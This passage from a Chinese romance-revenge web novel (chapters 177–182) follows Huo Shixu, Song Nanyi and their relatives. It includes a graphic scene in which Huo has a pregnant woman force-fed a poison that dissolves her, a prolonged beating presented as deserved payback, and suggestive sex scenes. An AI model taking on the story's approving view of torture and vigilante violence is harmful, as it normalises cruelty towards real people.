“她马上就要生了,最近烦燥的厉害,不停的打自己的肚子,又蹦又跳的,比起从前,疯的更加厉害,没人敢靠近她。”
院长也怕她,躲在江淮身后,声音幽幽。
“蓝烟。”霍时序出声叫她。
蓝烟身子猛地一僵,回头望向了霍时序,只用一秒她就认出他。
仰天大笑起来。
笑完又哭,“你是来送我上西天的吧?”
“你害我儿子,还害得妈得了重病,想上西天?可以,我准许你看着自己上西天。”霍时序冲江淮勾了一下手指,“把那瓶药给她灌下去。”
第177章 哥,我不开后门
江淮面无表情地一步上前,死死扼住蓝烟的下巴,迫她张嘴,将一瓶浓黑的药液灌了进去。
蓝烟拼命挣扎,喉咙抗拒,尖锐肮脏的指甲,在江淮手背上抓出一道道的血痕。
徒劳。
药水还是灌进了她的喉咙。
“你们给我喝的什么?”
蓝烟崩溃尖叫,死扣喉咙,想吐出来。
无果。
“霍时序!你不能这么对我!我是喜欢你的啊!我想给你生孩子!你为什么要这样对我?”
霍时序反感皱眉。
这话对他来说,是侮辱。
江淮一把将她推开,“喜欢?你也配提喜欢?蓝烟,你简直就是恩将仇报!夫人好心将你养大,待你如亲生,你竟对她下这种毒手!你还是人吗?”
“待我如亲生?”
蓝烟瘫在地上,癫狂大笑起来。
“她根本就没有爱我过,她从来没有当我是她的女儿,我只是她的仆人,她就只爱那个宋南伊,她什么好东西都舍得给宋南伊,什么都不舍得给我。”
“既然不爱我,当初为什么要收养我?我恨她,恨她不爱我,我就是要她死,要她慢慢地死,受尽病痛折磨,哈哈……”
蓝烟狂笑,眼球暴突,脸狰狞变形。
“噗”。
突然,一口黑血从口中喷出,人踉跄着倒了下去。
药起效了。
“蓝烟,你不是一直不想要你怀的这个孩子吗?霍总他帮你了,一会儿,你的孩子就化成一胎血水,从你的身体内流走……”
蓝烟愣住。
很快面上有了痛苦的神色。
肉眼可见的。
裙底有血色蔓延,触目惊心。
霍时序居高临下的睥睨着,“……别怕,这只是开始,一会啊,你会眼睁睁地看着你的五脏六腑,也会慢慢的被化掉,甚至,你整个人,最后都会化成一滩血水,蓝烟,这是你的报应,慢慢受着吧。”
“霍时序,你好狠啊,你们霍家人,没一个,没一个好东西……”
蓝烟惊恐地张着五指,伸向霍时序。
每说一句话,就有一口黑血吐出。
声音越来越微弱,在痛苦和绝望中,化成了一滩血水。
最终彻底消失。
血水沸腾着,散发最后的威力。
院长第一次见这场面。
吓的脸色发白。
紧紧捂住口鼻的手帕抖的不成样子,“霍总,这……一会儿该怎么处理,这滩东西?”
霍时序漠然:“清扫一下,将秽物,埋进猪圈里。”
“是,是,听从您的吩咐。”院长躬身应下。
……
处理完蓝烟。
他还得去处理一个人。
路上,他给裴啸打了个电话。
“有时间吗?”
“在忙。”裴啸指尖的金笔,潇洒的在文件上签上自己的名字,递给秘书。
起身,他倒了杯水,“我听说伯母她病了,现在情况怎么样?”
“手术还算成功,需要好好休养,趁着现在有点时间,我得去收拾一个人。”
裴啸稍显意外,“收拾一个人?收拾谁?”
“孙冰”霍时序报了一个男人的名字,“他趁我变傻,欺负我,我尚且能忍,他调戏南伊,我不揍得他满地找牙,我就不是个男人。”
裴啸笑了,“他就是个欺软怕硬的玩意,打得他叫爹,也没多少意思。”
“那就打得他叫爷爷。”这口气,霍时序非出不可。
“行,你霍爷想揍人,我就陪着,一会儿见。”
……
当霍时序和裴啸一起出现在,孙冰面前时。
他肉眼可见的,缩起了脖子。
两条腿抖的像筛子。
他欺负霍时序时,也没有想到,有一天,他还真就不傻了。
还没等霍时序动手。
他扑通给跪下了,“霍哥,我当时鬼迷心窍,那天,我就是个昏了头,才踢了你一脚,我真的不是故意的,你借我两个胆,我也不敢啊。”
霍时序抬腿,冲着他的胸口,狠狠的踹了一脚。
一口鲜血,从孙冰的口中喷出。
他险些一口气没上来。
还没有缓一缓。
霍时序又攥起他的领子,“我看你胆子挺大的嘛,还想让我老婆,跟你?”
他的大手在孙冰的脸上,重重的拍了两下,“不如我们一家人都跟你得了,你管吃管喝,怎么样?”
孙冰皮笑肉不笑的。
擦了擦嘴角上的血,“霍哥,你别跟我开玩笑了,我就胡说八道的,你别生气了,你就当我是一个屁,给放了,我会感激不尽的。”
“我看是你在跟我开玩笑。”霍
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时序看着孙洋的脸,一脸的捉弄,“放了你,倒也不是不行,先把裤子脱了。”
孙冰吓的捂住裤裆。
脸抽搐着,“霍哥,别这样,我是直的。”
“脱。”霍时序厉声。
孙冰一动不敢动。
霍时序和裴啸一个赛一个的猛。
那他不得死在他们俩手里,“霍哥,我不开后门,要不,我给你们找几个漂亮妞,你看行吗?”
霍时序抬腿又是一脚。
啐着骂道,“谁说老子要进你的后门。”
“那,那脱裤子,干,干什么?”孙洋又吐了口血,生怕自己会死在这儿,“霍哥,你就饶了我吧,我以后再也不敢了。”
孙洋跪在那儿。
哐哐的给霍时序磕头。
不止给霍时序磕,还给裴啸磕,磕得那叫一个毫不含糊。
没用。
霍时序记仇。
将人拖到了一个房间。
和裴啸两个,足足打了一个小时,这才解气的走出来。
后来,人被救护车拉走了。
那玩意,以后可能想用都难了。
“够了吧?”裴啸丢了听啤酒给他。
男人修长的手指,勾起拉环,打开,往嘴里灌了一口,“只能说,刚刚尽兴。”
“都有老婆有孩子的人,还这么疯。收敛点吧。”裴啸往嘴里灌了一口啤酒,很凉。
霍时序笑了。
勾起他的肩膀,“你还不是一样跟着我疯?裴啸,你说我们怎么会从情敌变成朋友呢?不像,我跟陆为谦,我们曾经是那么好的哥们,现在什么也不是了。”
霍时序这个人就是这样。
你可以明着来跟他争,跟他抢。
千万别玩纯爱这一套。
他死烦。
“裴啸,你明知道,他现在还觊觎着南伊,为什么同意裴吟跟他订婚,脑子坏掉了?”
裴啸仰头喝了一口酒,目光深沉,“那是裴吟自己的选择。”
“那她是为你们裴家做牺牲了。”
霍时序说在了点子上。
联姻这事,裴啸对裴吟是有亏欠的,“所以,这才是我回江城的目的,我想让裴家变强大,做她的后盾,有一天,她受欺负了,日子过不下去了,还有我这个哥哥。”
霍时序点头。
仰面看向了天空,目光深远……
第178章 这媳妇得教,不教不成器
蓝旗住院的日子。
都是宋南伊在陪伴。
她术后恢复的还算好,在宋南伊的再三要求下,她答应去家里住,不再回山上。
也是这次生病。
宋南伊见到了蓝旗的娘家的人。
当年的蓝家,在江城也是大户。
霍时序的外公的父亲,也就是蓝旗的爷爷是白人,早年来江城发展,娶了当时江城最大的豪门家的女儿。
后来生了蓝旗父亲弟兄三个。
蓝旗的父亲是老大,一直留在江城发展祖业。
其余两位叔叔,去往国外发展。
后来蓝旗的父亲,生下了三男一女。
蓝旗是家里最小的女儿,打小就漂亮聪明,是百般宠爱着长大的。
结婚后,蓝家与霍家在生意上有竞争。
她与几个哥哥的关系,也日渐疏远。
今天来看望她的,是一直交好的大嫂,和平时不怎么来往的三嫂。
三嫂带了位,她娘家的侄女。
一进门向各位介绍着,这位如何的优秀,但无人在意。
宋南伊和路姐,忙着招呼客人。
霍时序的大舅妈,对她赞赏有加,“阿旗,你家的儿媳妇,可真漂亮,又温婉,又有才华,你以后终于可以享福了。”
大舅妈从小看着蓝旗长大,对她最操心。
这苦尽甘来,替她高兴。
蓝旗很知足,“是啊,南伊是特别好的媳妇,可惜啊,时序还没追上呢。”
“不是已经有小宝贝了?怎么……离婚了呀?”
蓝旗:“是啊,还没复婚呢。”
“那可真得叫时序加把劲了,这么好的女孩,漂亮又能自己赚钱,撒手就没,你也帮他一把。”
蓝旗笑笑,“年轻人的感情问题,我就不掺和了,大嫂,你别光聊天了,尝尝南伊做的酸奶饼干,很好吃的。”
“好呀,我来尝尝。”
三舅妈也伸手拿了块饼干,“大嫂,你也净捡好听的说,我看啊,这个宋南伊也就一般吧,论文凭不如我们家小小的文凭高,论能力也不见得有多强,不过是娘家点钱,帮衬着,开了那么个珠宝工作室,而已。”
三舅妈诸多的瞧不上。
蓝旗不去计较,拿了饼干给钱小小吃,“钱小姐,你也尝尝。”
钱小小倒也乖巧,“谢谢姑妈。”
三舅妈继续发泄不满,“阿旗,你这媳妇,从我们来,就一直躲着,也不过来陪长辈们聊天,还真是没有礼貌,这媳妇得教,不教不成器。”
大舅妈不喜欢三舅妈,没事找事的样子。
“你自己教好媳妇就好了,你管别人家干什么?她要过来陪你聊天,你还能吃上这么美味的饼干?你就别鸡蛋里挑骨头了。”
三舅妈撇嘴。
嘴里无声了说了一些没人看懂的话。
霍时序回来后。
陪着二位长辈,聊了会儿天。
又去厨房里帮宋南伊。
“累坏了吧,我来吧。”他抢宋南伊手里的活。
被她拒绝,“你还是去陪客人吧,她们好不容易来一趟,刚刚还一直在问,你什么时候回来呢,路姐在,我干不了多少活,况且,你们家人,我也不熟悉,我们现在又是这样的关系,出去怪尴尬的。”
宋南伊将霍时序推了出去。
他只好听话。
大舅妈怕影响蓝旗休息。
没呆太久,就叫上三舅妈,离开,“咱们也回去吧,阿旗刚做了手术,身子虚着呢,别耗着她了。”
三舅妈赶紧扔下,手上的饼干,将自己的侄女拉到了面前。
“是,是得好好好的歇着,阿旗,这不是……有个忙要你帮一下。”
大舅妈深黯三舅妈的套路。
让她不要找麻烦,“老三媳妇,我说啊,你这个忙,不说也罢,阿旗身子还欠着呢,哪有能力帮你的忙。”
“大嫂,这小小可是名牌大学毕业,来江城找工作不容易,我们家老三你也知道,又怕这,又怕那儿的,死活不给安排在蓝家的公司里,我只能求到阿旗这儿来了。”
三舅妈谄笑着,把侄女往蓝旗面前一推,“阿旗,我的意思呢,就是让你们家时序,给小小安排一个实习生的工作,她千里迢迢的来投奔我这个姑妈,挺不容易的,咱们都是一家人,这个忙,你不可能不帮三嫂的吧?”
事情发生的太突然,蓝旗哪里能做得了这个主。
据她所知,霍时序病愈后,根本没有回霍氏。
他如何给安排?
就算能给安排,也不是她这个当妈就能安排的了的。
但……
直接拒绝,又怕伤了姑嫂的情分,似乎也不太好。
只好委婉地说,“三嫂,这工作上的事情,你得过时序的意见,我可做不了主。”
三舅妈脸色一沉,明显有些生气,“阿旗,你这是什么意思,你这个当妈,说的还不算了?还是说,你根本不想帮这个忙?到底,我们还是不是一家人啊?这是嫌我们麻烦了呗。”
“三嫂,这工作上的事情,我确实不能擅自做主。”
三舅妈立马火大,“蓝旗,你什么意思?你问都不问一声,你就做不了主了?你这就是明显的瞧不起我呗,你也不想想,你在挪威的时候,我们家老三,为了你的病,去过多少趟,你的良心都喂了狗了?”
这话挺难听的。
大舅妈不得不站出来说两句,“我说老三媳妇,你要非让时序给安排你侄女的工作,你就去找他讲,你跟阿旗撒什么泼,她是个病人,这大病初愈,再让你气进医院,甭说是工作了,啥也没有了。”
面对大家的争吵,钱小小眼眶一下红了,“各位长辈,不要吵了,我也不是说非要这个工作,就是姑妈为我着急了,没关系的,我再去别的工作就好,大家别伤了和气。”
钱小小乖乖的。
搞的蓝旗像个恶人。
她索性把霍时序叫了过来,“时序,你来,你三舅妈有事要求你。”
三舅妈的脸色不好看。
为了达到目的,陈芝麻烂谷子的,一股脑地往外倒。
这些年,母亲在挪威那边,几个舅舅跑来跑去的,也没少得了照顾。
拒绝,就等于白眼狼。
霍时序不想让母亲难做。
便答应了下来,“我的新公司在筹备,正是缺人的时候,可以让她过来。”
三舅妈的脸色一下就光明了起来。
“小小啊,赶紧的谢谢你时序哥,以后跟在他身边,要懂点眼色,他亏待不了你的。”
钱小小怯怯的走到霍时序的面前,声音低低的,“谢谢时序哥。”
“不用。”
三舅妈带着钱小小,心满意足的离开。
大舅妈无奈摇头,“这老三媳妇可算是满意了,又给时序添麻烦了。”
“大嫂,我送你吧。”
蓝旗将大舅妈送走。
这才疲惫的回到客厅坐下。
她将霍时序叫到面前,“你答应了你三舅妈安排那个钱小小,要不要跟南伊商量一下?”
第179章 洞房还没入的,人就要被赶出家门
“工作上的事情,她从来不过问的。”霍时序说。
蓝旗觉得,还是得跟宋南伊讲一声,“还是说一下吧,这又不是正规的人事聘用,算是亲戚走后门,还是得跟她讲一声的,你要学会尊重她。”
霍时序点头,“好,我这就去跟南伊讲。”
宋南伊听到这事,只是淡淡的哦了一声,“你自己做主就好,不用跟我讲。”
“妈看重你的意见。”他将她的细腰抱住,声音温温柔柔的,“如果你不愿意,我也可以找个借口,把这事推了。”
“既然答应了,何必再因为别人的意见,推掉呢?言而无信,妈的面子上,也下不来。”她不参加意见,也觉得没有参加意见的必要,“霍时序,这事,你根本不用跟我讲,自己拿主意就好。”
“你是不是生气了?”他听出她话里的不快。
“没有,你觉得那个钱小小合适,又能卖个亲情面子,你就留下,你要觉得不合适,你就可以推掉,跟我有什么关系?”
“霍时序,你要做的所有的事情,我都没有意见,说白了,我也不过是在你家借住的人,我们毫无关系,犯不得来问我。”
她可不想当背锅的。
也并不感激,他的这份尊重。
多余问她。
“我累了,我先去休息了。”
宋南伊洗了把手,上了楼。
虽然宋南伊的话,淡得没有一点情绪。
霍时序就是有点,不太舒服。
只因那一句,“我不过是在家里借住,我们毫无关系。”
宋南伊前脚上楼。
霍时序后脚就追了上去。
在她要关门的时候,将自己挤了进去,“今天累了吧,腰酸吗?我帮你揉揉。”
“不酸,我想睡一会儿。”
她上了床,盖好被子,闭起眼睛,没有打算理人。
霍时序也脱衣服,钻进了被窝,“那老公得,先给你暖被窝才是啊。”
“霍时序,你有没有点正经的?”她瞪着他,不喜欢看他嬉皮笑脸的样子,“妈还在下面呢,你就这样?你脑子里就没有别的事情了吗?我们现在连男女朋友都不算。”
霍时序有点伤心了。
巴巴地望着她的眼睛,“那什么时候给转正啊?”
“再说吧。”
行吧。
革命尚未成功,同志仍需努力。
他有的是耐心。
“跟你说件正经的事情。”霍时序靠在床头上,将宋南伊搂在胸前,暧昧的靠近她耳边说,“我准备彻底脱离霍氏,脱离霍家,自立门户了。”
宋南伊意外。
离开霍氏,意味着,以后就要跟霍氏竞争了。
他的底牌是什么?
拿什么去争,去抢?
“是迫不得已,还是计划之中?”
霍时序不好说,“都有吧。”
他搂紧了宋南伊,“等我稳定了,有能力养你了,你就做我的女朋友好不好?”
“我自己赚钱,不需要别人养。”
至于做不做女朋友这事,再说吧。
“你赚的是你的,我赚的也是你的,你知道的,我这个人就爱当你的舔狗,汪,汪汪。”
宋南伊被他逗笑了。
他握着她的下巴,去她接吻。
情动,缠绵……
……
裴吟和陆为谦的婚礼提前了。
听说陆之白的母亲重病一直未愈,急需冲喜,两家一拍即合。
请柬是裴吟亲自给宋南伊送来的。
平淡的语气中,透着一丝若有似无的忐忑。
“没想到,婚礼会提前,我还真有点……紧张。”裴吟深呼吸,看向宋南伊,“你会来的吧?”
“当然啊,一定会到的。”宋南伊握紧了裴吟的手,眼底是浓浓的祝福,“我要看你美美的出嫁,要看你做最美的新娘,放心,不要紧张,陆律师会好好待你的。”
裴吟笑了。
她倒是没期待过爱情。
就是贸然嫁进一个陌生的家里,觉得有点不习惯。
她浅浅点头。
让别人担心,不是她的作风。
谁也没有想到。
裴吟嫁进门的当天晚上,陆家的老夫人,陆为谦的奶奶,就一命呜呼了。
本是为了冲喜,让她多活些时日。
这倒好,婚礼成了葬礼。
洞房还没入的,人就要被赶出家门。
裴吟哪里肯咽下这口气。
“证也扯了,婚礼也办完了,现在全江城的人,都知道我裴吟嫁进了你们家,你们现在说让我滚,我就滚了?我好好一个黄花大闺女,这洞房没入的,就成了二手货,你们怎么赔我?”
裴吟穿着喜服。
站在陆家众人面前,指着他们的鼻子说,“老太太死是她命就那么长,是我克的吗?我要是能克人,你们一个个个,都被克死了,还能坐在这儿,指责我,骂我丧门星?”
她撸起袖子,拉过一把椅子,将一只脚踩在椅子上,继续为自己讨公道。
“你们怎么不说,老太太病了这么久,一直不见好,是你们一家人克的,你们陆家门风不正,用人五十三,不用人三十五,给你们脸了,还要给我退回去,我告诉你们,退也可以,十个亿,少一分也不行。”
陆之白气的指尖颤,心脏也疼,“为谦,你听听,她这是说的什么话,她还要十个亿,这样的媳妇,我们陆家娶不起,也要不了,我们不要了。”
“爸,我和裴吟领了证,婚礼也办完了,是合法夫妻,不能因为奶奶突然过世,我们就得去离婚吧?”
陆为谦不愿儿戏。
但脸色也没有好看到哪里去。
他是觉得裴吟对长辈,有一点的不礼貌。
但一想到,刚刚陆家人对裴吟的态度,又觉得她这样骂,很解气。
陆之白没想到,自己的儿子,敢违逆自己。
重重的拍着桌子,狠狠的发怒,“怎么着,这个家,我说了不算了吗?陆为谦,这个家是你做主,还是我做主?哪有进门当天,就把家里的老人克死的?现在克死了你奶奶,下一个就是我,再下一个,克死的就是你,你也想死吗?”
“爸,这简直就是无稽之谈。”
“你,你……”陆之白气的心脏病要犯了。
程岚赶紧拿了药来,给陆之白服下,“为谦,你看你把你爸气的,是爸重要啊,还是一个联姻的对象重要啊?反正都是联姻的,你们又没有感情,刚好退了婚,你再寻一门自己喜欢的,就好了。”
“好了,你们都不要说了,我不会跟裴吟离婚的,今天的闹剧收场吧,明天还要准备奶奶的后事,大家都先去休息一下,免得体力不济。”
陆为谦牵起裴吟的手,离开。
刚走出门口,裴吟就甩开了他。
她很想知道,陆为谦是怎么想的,“陆为谦,你也觉得我是丧门星吗?”
第180章 冲喜变成了葬礼
“没有。”他淡淡的,对裴吟只有心疼,“奶奶的病本就告了病危,冲喜也没有说,一定会好起来,只是走的太突然,陆家人都接受不了,抱歉,让你受到了伤害。”
“既然你们家人,都认为,是我克死了你奶奶,那以后裴陆两家,指定在生意上,也不可能有什么合作了,其实,我们分开,也是最好的选择。”
反正是联姻。
没有利益捆绑,再加上仇恨,这婚姻已经不适合再要了。
裴吟是相对清醒和理智的。
但这样走,她是不肯的,被赶回去,退回去,多丢裴家的脸。
“陆为谦,我不是讹你,我可以搭上自己的名声,可以背上江城第一丧门星的头衔,但我,我得对裴家有个交代……”
她想,他明白她的意思。
“你又不是丧门星,背这个头衔干什么?”陆为谦握起裴吟的手,紧紧的攥在掌中,“婚姻不是儿戏,哪有随便就结,随便就离的,我们不是还要生孩子吗?”
裴吟:……呃???
他是不是……不想赔她钱,所以……这是缓兵之计?
“陆为谦,我的意思是……”
“你的意思我不想知道,我只知道,我们今天刚结婚,扯证也不过三天的事情,你就要把我抛弃,这事我不允。”
“这,这……”他这么说,怎么给陆家交代,“……你们陆家不已经要把我扫地出门了?”
“你嫁的是我,又不是陆家。”
话,也不是不对。
就是,也不是全对。
“联姻,说白了就是嫁给陆家,陆为谦,你也不要冲动,其实,我们这样的关系,不需要负什么责,只要你肯赔钱,我可以背锅。”
反正,开始的也不美丽。
结束的没道理,也能接受。
“好了,别想了,明天还要办奶奶的丧事,今晚你就好好休息,丧礼肯定会有很多人,你要不愿出面,你就在家里呆着,等我回来。”
裴吟鬼使神差的,乖巧点了下头,“哦,知道了。”
……
宋南伊也是隔天一早。
才从霍时序口中听说了,陆家老夫人病逝的消息。
“天哪,那裴吟怎么办?”
“没听陆家那边传出什么别的动静,再说了,这跟裴吟有什么关系,婚期提前,是陆家要求的,就是碰巧了的事。”
陆家再糊涂。
也不至于当场休妻。
那可真让江城的人,看去了笑话。
“你要去追悼吗?”宋南伊问他。
霍时序点头。
他用已经换好了黑色的西装和领带。
“你陪我一起。”
宋南伊没有拒绝,她主要是想见裴吟一面,问问她的情况,“你等我换一件衣服。”
二人一起出门。
黑色的房车里,霍时序紧紧地握着宋南伊的小手。
聊着一些关于陆家老夫人的事情。
“老太太九十岁了?那算是喜丧吧,到了这个岁数,还冲什么喜啊。”
“每个人的想法不同。”霍时序让司机在前面停车,“我去买一束花,你等我一下。”
“哦。”
这个功夫,宋南伊给裴吟发了条信息。
没回。
她猜,裴吟应该在葬礼的现场。
要说也是够倒霉的。
本就联姻,自己的新婚当日,又变成了别人的忌日。
不知道,裴吟和陆为谦这一晚上,是怎么过的。
车子一路前行。
来拜别老夫人的,都是一些陆家的旧交。
裴家人也在。
霍时序和裴啸说了几句话,便先去行礼。
宋南伊没看见裴吟。
这种场合,也不好意思问陆为谦,拜别后,她便跟着霍时序走出灵堂。
裴啸在外面等他们。
宋南伊问起裴吟的状况,“她现在还好吗?我给她发了信息,她一直也没有回,我看今天,她也没在。”
“她不会有事的,就她那性子,只要她不啃咽的委屈,没人欺负得了她。”裴啸目光深沉,眼中的担忧是对裴氏未来的发展,“不过……陆家的冲喜变成了葬礼,肯定会把这笔账算到我们裴家头上。”
“陆家要是真这么糊涂,那基本上,也没什么合作的必要了。”霍时序说。
裴陆两家,生意场上的事情,宋南伊不懂。
她只希望,在这场突然的变故中,裴吟不要受到伤害才是。
……
霍时序忙新公司的事情。
宋南伊忙着新年新品的发布。
周末带小核桃的事情,就落到了蓝旗的身上。
她感觉很幸福。
经常和南微一起,带着小核桃逛逛商场和游乐园。
亲家处成了闺蜜。
很是聊得来。
……
工作室里。
又是晚上八点。
宋南伊还在修正着新品的设计稿。
邓雪端来一杯咖啡,放到她面前,“老板,时间不早了,你今天一天都在工作,身体会吃不消的。”
“马上就要发布会了,再不赶出来,怕来不及。”
“这次邀请了T国当红的顶流小生,他和他的男朋友,一起来代言,可能……有点超预算了。”邓雪把安排的单子给宋南伊看,又接着说,“不过,这个男明星真的比女人还女人,而且以往他佩戴的珠宝,都有很好的反响。”
宋南伊接过单子看了一眼,“就他了。”
“那我去安排,您早点回去休息吧。”
“嗯,你先走吧。”
忙完工作,差不多晚上的十点。
宋南伊拖着一身的疲惫,走出公司大楼时,远远的就看到了,为她亮起的车灯。
高大颀长的身影,被路灯拉的更长,显得英挺隽逸。
风衣被刮起衣角。
金属的手仗在他的腿侧发出光泽。
她承认,这一幕,有点小帅。
她步子加快,走到他的面前,“特意来接我的?”
“是啊。”他轻抚着她被风吹凌乱的发丝,眸色温柔,“好久不见你了,我想你想的厉害。”
“哪有好久。”她笑他矫情,“明明才三天。”
他笑着,昏黄的路灯,映在他的侧脸,莫名好看,“我还以为三年了呢。”
“怎么?今天不加班了?”她仰着小脸,风撩起她的长发,温婉可人,他忍不住跟她蹭了蹭鼻尖,“想你了,想你味道了,想抱着你睡。”
“看来工作还是不累,还能胡思乱想。”她笑的像风中摇曳的百合花,清纯,圣洁。
他看的入迷,大手将她抱住,托着她的后颈,自然而然的,在路灯下跟她接吻。
她的小手抱住他的腰,迎合着他。
吻,热烈又温柔。
自然而然,没有一丝一毫的低趣味。
……
第181章 撩骚
缠绵过后。
霍时序去洗澡。
他的手机扣在床头上,宋南伊好奇拿起来看。
“时序哥,我公寓风扇坏了,只转圈,不出风,你能不能来帮我修好呀?”
“时序哥,公寓附近的早餐店,你知道哪个好吃吗?”
“时序哥,今晚要加班,我可不可以蹭你的车,回公寓啊。”
“时序哥,今天江特助骂我了,我有点小伤心,不知道可不可以求一杯爱心奶茶,安慰我这受伤的小心灵?”
“时序哥……”
消息很多。
宋南伊没耐心看下去,滑动页面,粗略估计,上百条是有的。
钱小小发的。
无一例外,霍时序都没有回。
钱小小和霍时序,也算是八杆子打不着的亲戚。
要论工作关系,他是上司,她是下属,这样老是给一个上司发信息,真的合适吗?
钱小小是觉得她和霍时序的关系比较近。
言无忌。
还是在撩骚?
宋南伊觉得挺无聊的。
把手机,又放回了原处。
“南伊,给我拿一件睡衣过来,我忘记拿了。”霍时序在浴室里喊她。
宋南伊起身下床。
从衣柜里找了件丝绸的睡衣,给霍时序送过去,“呶。”
她只将门打开一条缝。
里面的热气却喷出她一身的鸡皮疙瘩。
他大手握住睡衣,将她的小手一并扣住,扯进了浴室,“一起洗,嗯?”
“别闹,衣服湿了。”丝稠的吊带,沾水湿了一片,“霍时序!”
他不听。
托着她的屁股,将人抵在了湿热的墙上。
他眸光幽深。
眼梢不知道是被热气蒸的,还是欲望熏的,潋起一抹薄红。
她小手抵着他的胸膛,长发湿在身前,推他,“霍时序,你能不能别闹了。”
他抬着头,吻了一下她的下巴。
拒绝这时的反抗,“不能。”
水气弥漫,将二人笼罩在薄薄的水雾之中,水滴跳跃,节奏……
……
从浴室出来。
宋南伊已经累的如同一滩软水。
大床旁,霍时序的手机屏幕又亮了起来。
宋南伊特意看了眼时间,将近午夜。
“又是钱小小?”她侧过眸子问。
霍时序拿起手机看了一眼,“你看过了?”
“看过了。”
他有些抱歉,“这人确实挺烦的。”
“她不会是对你有意思吧?”宋南伊可不希望这种事情发生,这会让蓝家人很难堪,尤其是蓝旗,“霍时序,如果她对你有意思,你怎么办?”
“其实,也挺好办的,你现在是单身,完全可以借这个机会,谈个恋爱,就是你得跟妈那边,好好交代一下,算起来,你们也算是亲戚。”
宋南伊好像没什么情绪。
不管她跟霍时序发生多少次的男女之事。
就身份而言,男未婚,女未嫁,没有道德的约束,也没有情感的纠缠。
生理上得到满足是一回事。
**实弹的,谈婚论嫁,恋爱结婚又是一回事。
霍时序眉心皱起。
他怎么能从宋南伊的嘴里,听到这种匪夷所思的话。
“宋南伊,我现在,难道不是在跟你谈恋爱吗?你在说什么?把我推给别人?”他承认,他还没有转正,他这不是尽量的讨她的欢心了,“你还真把我当小白脸了?得到了就丢弃?刚刚你抱着我脖子,喊我快一点的时候,可不这样,你良心呢。”
宋南伊被呛了。
耳垂氤氲起一抹红。
“那你说,这个钱小小是不是对你有意思?”
霍时序不耐地将钱小小的微信拉黑,“那她是癞**想吃天鹅肉,我能瞧上她吗?”
“你还挑上了。”宋南伊笑着看他气急败坏,“霍时序你都是二婚了,人家可是大姑娘。”
“我才不是二婚。”他扔下手机,将她压在身下,“宋南伊,我们三生三世都纠缠在一起,以前是,以后也是,我们会做几辈子的夫妻,你别想逃。”
“你别得寸进尺的,我们都是自由的。”她提醒他。
他脸色很难看。
指着握起她的下巴,逼她抬头对视,“你再给我说一遍?”
“我说我们都是……唔……霍,时序……”
她捶他的胸口。
他大手将她的小手握住,十指紧扣,举到枕头上,任由着自己欺负。
……
霍时序和裴啸新成立的公司。
他占比四成。
开拓的是他熟悉的领域。
这个公司,他打算运转起来,就交给裴啸去做,他只拿干股和分成。
在霍氏的时候,霍时序已经在布局将来的发展,以XY集团为名在扩张属于他自己的版图。
霍氏已经彻底交由了顾南风。
与自己再无关系。
他就是挺担心老爷子的,被迫接受了不想接受的结果。
“孙少爷,我
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听说您的病已经好了,那就请来看望一下老太爷吧,他日日牵挂着您,如今,身体每况愈下,做梦都喊您的名字……”
陈伯在电话里哽咽。
霍时序心里不是滋味。
“陈伯,一会儿我就过去。”
“那我等您了孙少爷。”
挂断电话。
霍时序拿起外套,跟江淮说,“把钱小小叫过来,我带她出去了一趟。”
江淮恐慌,“您带她干嘛呀?您不怕太太知道,她生气啊?”
“我给顾南风送个人,我觉得她更适合那边。”霍时序轻笑,将外套穿好,拍了拍江淮的肩,“别怕,我又不是傻子,我现在可是被考验阶段,不敢有差池。”
江淮抹了把汗珠。
知道就好。
霍时序走了几步,回头看向站在原地不动的江淮,“你傻愣着干什么?你也跟上。”
“好的,霍总。”
钱小小第一次坐霍时序的车子。
还是跟他并排坐在一起。
不由自主地靠近了一些。
霍时序淡睨了她一眼,“坐好。”
钱小小又往旁边撤了撤身子,“时序哥,我……”
“钱小小,在公司我是总裁,你是下属,一点分寸也没有,三舅妈就是这么教你做人做事的?”
被骂了。
钱小小瘪起小嘴,“知道了,霍总,我们现在要去哪儿啊?”
“你来这边也工作有些日子了,是时候到大的集团才历练一下自己,我准备让你去霍氏,这样你才有更好的发展,也算是对得起三舅妈,将你托付给我。”
霍时序厉声淡淡。
钱小小心有不愿,“我觉得跟在你身边就挺好的。”
“我现在身边不缺人,难不成,把江淮辞了,把你留下?”
“我也不是这个意思。”
江淮从副驾驶,扭过脸来说,“钱小小,你去顾总那边是好事,他特会教人,你这么聪明,又是名校毕业的高才生,将来一定是不可限量。”
把未知的危险,杀死在萌芽状态,他的霍总变聪明了。
江淮在心里给霍时序点了个赞。
钱小小心里不痛快,又找不到理由拒绝。
闷着不说话了。
车子一路开到老宅。
如霍时序想的一样,顾南风也在。
陈伯拉霍时序到一旁小声说话,“孙少爷,这几日顾南风一直都在,想让老爷签一些东西,您要阻止啊,否则,这霍家,真就成他的了。”
第182章 又老又瘸又穷
霍时序脸色沉下。
他几步走到老爷子跟前,俯身低声唤他:“爷爷,我是时序,我来看您了。”
霍正诚眉心微微动了动。
眼皮好似过于沉重,掀了几次,并没掀开。
顾南风仍站在一旁,目光直勾勾地落在霍时序身上,像在审视,又像在判断,眼前这个人,是不是真的霍时序。
江淮上前一步,朝他比了个“请”的手势:“顾总,霍总有些话想单独跟老太爷说,麻烦您到外面稍等。”
“我现在也是霍家的人,有什么是我不能听的?”顾南风抬了抬下巴,语气倨傲,“也不搞搞清楚,现在霍家谁做主。”
霍时序眉心微压,转身就挥了一拳,将顾南风重重的打倒在地上。
居高临下,声音冷得刺骨,“顾南风,你再跟我废话一句,我今天就让你横着出去。”
顾南风被这一拳打得不轻。
口鼻流血。
他不肯咽下这口气,挥着拳就要对霍时序动手。
江淮赶紧从身后将他抱住,“顾总,老太爷还在病中,你实在不宜闹事啊,还是请到外面等吧。”
江淮给足了顾南风脸面。
要再不识趣。
他可不只是单纯的抱住他,而抱摔他。
顾南风气闷一口,擦了一把鼻唇边的血,“霍时序,你给我等着,早晚我会还回来。”
房间清静了下来。
江淮在外面守着。
钱小小不安的走来走去,顾南风从里面出来,二人刚好撞上。
顾南风被撞了恍了一下。
抬手就给了她一个巴掌,“你不长眼睛啊?”
钱小小哪里见过这架势,捂着被打疼的脸,不忿的看向他,“是你撞到了我,你怎么还打我呢?你这个人,怎么这么不讲理?”
江淮赶紧走了过来。
解释,“她叫钱小小,名校高才生,霍总今天带过来,是希望你带她到霍氏,好好的调教,不知道顾总的意思……”
江淮给钱小小使了个眼色,“赶紧的,给顾总道个歉,这事就算过去了。”
钱小小百般不愿。
但还是低头说了句对不起。
顾南风不知道,霍时序往他眼前递人是什么意思。
安插眼线?
他打量着钱小小,看起来,也不像是什么聪明女人。
那是为什么?
